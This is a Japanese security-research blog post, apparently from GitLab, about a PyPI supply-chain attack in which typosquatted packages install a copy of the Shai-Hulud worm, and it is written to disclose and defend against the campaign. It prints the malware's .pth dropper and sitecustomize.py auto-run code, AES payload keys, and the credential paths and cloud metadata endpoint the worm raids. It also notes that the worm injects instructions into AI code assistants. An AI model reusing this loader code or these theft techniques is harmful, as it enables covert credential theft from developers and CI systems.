更新日:2026年6月10日
12分で読めます
GitLabの脆弱性リサーチチームが、PyPIを標的とした新たなPythonサプライチェーン攻撃を発見しました。悪意あるパッケージがShai-Huludワームを展開し、主要なクラウドプロバイダーのCI/CDシステムから認証情報を窃取します。

GitLabの脆弱性リサーチチームは、PyPIを標的とした組織的なサプライチェーン攻撃を確認しました。この攻撃では、Shai-Huludマルウェアのコピーが展開されています。悪意あるパッケージは5つ確認されており、Flask、Requests、NumPyを偽装したタイポスクワット4つと、武器化された正規プロジェクト1つが含まれます。これらのパッケージはインストール時にコードを実行し、インポートや関数呼び出しは不要です。また、自己増殖型の認証情報窃取ツールを内包しており、主要クラウドプロバイダー全般のCI/CD環境を標的としています。
GitLabが影響を受けるパッケージをいずれも使用していないことを確認しました。より広範なセキュリティコミュニティが適切に対応できるよう、調査結果を公開します。
監視システムは、2026年6月7日、単一アカウント(elitexp)から公開された悪意ある5つのPyPIパッケージを検知しました。そのうち4つはタイポスクワットです。
rlask と tlask:Flaskのタイポスクワットrsquests:Requestsのタイポスクワットnhmpy:NumPyのタイポスクワット5つ目の mflux-streamlit は、実際のユーザーを持つ正規プロジェクトです。攻撃者はタイポスクワット展開後、悪意あるバージョン0.0.3および0.0.4を公開することで、このプロジェクトを武器化しました。
攻撃者はまず、本物の最新リリースのバージョン番号(Flask 3.1.3、Requests 2.34.2、NumPy 2.4.6)と完全に一致するクリーンな「プローブ」バージョンを公開しました。これらが問題なくインデックスされると、攻撃者はワームのペイロードを組み込んだ新しいバージョンを公開しました。
これは模倣による展開です。Shai-Huludの背後にある集団TeamPCPは、2026年5月12日にワームのコードをオープンソース化しました。以来、独立した攻撃者がこのツールキットを入手し、新たなターゲットを狙う動きを追跡してきました。今回のキャンペーンにより、同じワームがPythonエコシステムへも展開されました。
元のnpmバリアントは preinstall スクリプトを使用していました。このキャンペーンでは別のアプローチを採用し、Pythonの .pth ファイルメカニズムを悪用しています。Wheelパッケージは .pth ファイルを同梱でき、Pythonは起動時にこれを自動的に処理するため、明示的なインポートは不要です。各悪意あるパッケージには rlask-setup.pth のようなファイルが含まれており、1行のドロッパーが記述されています。
import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')
ドロッパーはシステムの一時ディレクトリ内のマーカーファイル(.bun_ran)の存在を確認して再実行を防ぎ、次にGitHubからBun JavaScriptランタイムをダウンロードし、パッケージ内にバンドルされた5 MBの難読化されたJavaScriptペイロードを実行します。
rlask の初期バージョンには、バックアップの実行経路として sitecustomize.py ファイルも含まれていました。Pythonは起動時に sitecustomize を自動インポートし、このファイルは sys.path から隠し _index.js ペイロードを検索します。
import subprocess, os, sys
for d in sys.path:
js = os.path.join(d, "_index.js")
if os.path.exists(js):
subprocess.run(["node", js])
break
攻撃者は後のバージョンでこのバックアップメカニズムを削除し、.pth アプローチ単独で十分と判断したようです。
JavaScriptペイロードは3層で難読化されています。
[email protected] はROT-13、rsquests はROT-17、tlask はROT-25)_0x プレフィックス難読化)コードを実行することなく、静的解析によってペイロードを復号しました。最初のブロブ(907バイト)はBunランタイムダウンローダーです。2番目のブロブ(772 KB)は完全なShai-Hulud認証情報窃取ツールで、2,538個のハードコードされた文字列を含んでいます。
独自に解析を行う研究者向けに、AES復号鍵を以下に示します。
| レイヤー | 鍵 | IV |
|---|---|---|
| Bunダウンローダー | c95506221d18936328fbc7ddcd21e3dd | 48da5faeafac0ac88a410bb0 |
| ワームペイロード | 7557c4e782a0622159476d1ea10d5236 | 55a7d25e0e61b77cc175bcc3 |
起動後、ワームは主要なクラウドおよびCI/CDプラットフォーム全般の認証情報を狙います。
GITHUB_TOKEN、パーソナルアクセストークン、きめ細かいトークン、OIDCトークン、組織・リポジトリのシークレット、Actionsアーティファクト、Runnerプロセスメモリ169[.]254[.]169[.]254)、Secrets Managerエントリ、SSMパラメータ、STS連携トークン/var/run/secrets/vault-token、/etc/vault/token、/root/.vault-token など)からのVaultトークン、APIアクセス、Kubernetes Vault認証元のnpmバリアントと同様に、これは単なる窃取ツールではありません。自己増殖します。窃取した認証情報を使用して、ワームは以下の動作を行います。
.github/setup.js とワークフローファイルをコミットし、他のCIパイプラインでワームを再実行させます.github/copilot-instructions.md を注入してAIコードアシスタントを汚染します5つのパッケージはすべてPyPIアカウント elitexp が所有しています。このアカウントは2024年11月に正規パッケージ(mflux-streamlit:GitHubに11スターを持つStreamlit製画像生成UI)とともに作成されました。関連するGitHubアカウント(github[.]com/elitexp)は13年以上前に作成されており、大学のコースワークやLaravelプロジェクトを含む43の公開リポジトリを持っています。
アップロードメタデータによると、すべてのパッケージはユーザーエージェントとして Bun/1.3.14 を使用して公開されています。これはマルウェアが実行チェーンの一部としてダウンロードするランタイムと同じです。
攻撃者は mflux-streamlit 自体も武器化しました。バージョン0.0.1と0.0.2はクリーンですが、タイポスクワットキャンペーンの後、15:23と15:37 UTCに公開された バージョン0.0.3と0.0.4 には、同じ .pth ドロッパーと難読化されたペイロードが含まれています。これにより、典型的なタイポスクワットよりも危険な攻撃となっています。mflux-streamlit は既存ユーザーを持つ実在のプロジェクトであり、これらのユーザーは通常の依存関係解決を通じて汚染されたアップデートを受け取る可能性があります。
| 種別 | インジケーター | 説明 |
|---|---|---|
| package | rlask 3.1.4-3.1.7 | 悪意あるFlaskタイポスクワット |
| package | tlask 3.1.4 | 悪意あるFlaskタイポスクワット |
| package | rsquests 2.34.3 | 悪意あるRequestsタイポスクワット |
| package | nhmpy 2.4.7 | 悪意あるNumPyタイポスクワット |
| package | mflux-streamlit 0.0.3, 0.0.4 | 武器化された正規パッケージ |
| file | {package}-setup.pth | 自動実行ドロッパー(SHA256: 6506d317...) |
| file | sitecustomize.py | バックアップ自動実行(rlask のみ存在) |
| file | {package}/_index.js | 難読化されたワームペイロード(5.2 MB) |
| file | .bun_ran | システム一時ディレクトリ内の実行マーカー |
| network | hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip | Bunランタイムのダウンロード |
| network | hxxps[://]upload[.]pypi[.]org/legacy/ | ワームによる汚染PyPIパッケージの公開 |
| network | hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/ | AWS IMDS認証情報の窃取 |
| network | hxxps[://]login[.]microsoftonline[.]com/ | Azure ADトークンの取得 |
| network | hxxps[://]fulcio[.]sigstore[.]dev | Sigstore証明書のリクエスト |
| actor | elitexp (PyPI) | パッケージ所有者 |
| actor | Bun/1.3.14 | アップロード時のユーザーエージェント |
これらのパッケージのいずれかがお使いの環境にインストールされている場合:
.bun_ran マーカーファイルを確認してください。.github/setup.js、.github/copilot-instructions.md、または変更されたワークフローファイルに一致するもの)を監査してください。| 日時 | イベント |
|---|---|
| 2026-05-12 | TeamPCPがShai-Huludワームをオープンソース化 |
| 2026-06-07 13:47 UTC | プローブバージョン公開([email protected]、[email protected]) |
| 2026-06-07 14:20 UTC | 最初の悪意あるバージョン([email protected])を28秒以内に検知 |
| 2026-06-07 14:24 UTC | 自動解析完了、悪意あり/重大として分類 |
| 2026-06-07 14:27-15:04 UTC | 4つのパッケージ名全体でさらに6つの悪意あるバージョンが公開 |
| 2026-06-07 15:23-15:37 UTC | 攻撃者が自身の正規パッケージ mflux-streamlit を武器化(v0.0.3、v0.0.4) |
| 2026-06-07 | 静的解析により完全なShai-Huludワームを確認 |
| 2026-06-07 16:01 UTC | すべての悪意あるパッケージをPyPIセキュリティチームに報告 |
| 2026-06-08 03:15:06 UTC | GitLab Advisory Databaseにアドバイザリを追加 |
| 2026-06-08 | PyPIが悪意あるパッケージのすべてのリリースを削除 |
GitLab Ultimateをご利用の場合、Dependency Scanningを使用して、プロジェクト内のこれらのパッケージへの露出を自動的に検出できます。GitLab Advisory Databaseに、5つのパッケージすべてを対象とするアドバイザリ(GMS-2026-572〜GMS-2026-576)を申請しています。マージされると、Dependency Scanningが有効なプロジェクトのパイプライン結果と脆弱性レポートにこれらのパッケージがフラグ表示されます。
複数のリポジトリを管理するチームには、Security Analyst Agentを備えたGitLab Duo Chatを使用した迅速なトリアージをお勧めします。次のような質問を試してください。
TeamPCPが5月にShai-Huludワームをオープンソース化した後、このキャンペーンを予測していました。独立した攻撃者がツールキットを入手し、新たなエコシステムに展開しています。Pythonバリアントは異なる初期感染ベクター(preinstall スクリプトではなく .pth ファイル)を使用していますが、同じ認証情報収集および自己増殖のコードを内包しています。
監視システムはnpm、PyPI、その他のレジストリ全般での模倣展開を継続して追跡しています。新たな情報が入り次第、この記事を更新します。
脆弱性リサーチチームのその他の記事は、Security Labsサイトでご覧いただけます。
このブログ記事を楽しんでいただけましたか?ご質問やフィードバックがあればお知らせください。GitLabコミュニティフォーラムで新しいトピックを作成してあなたの声を届けましょう。
フィードバックを共有する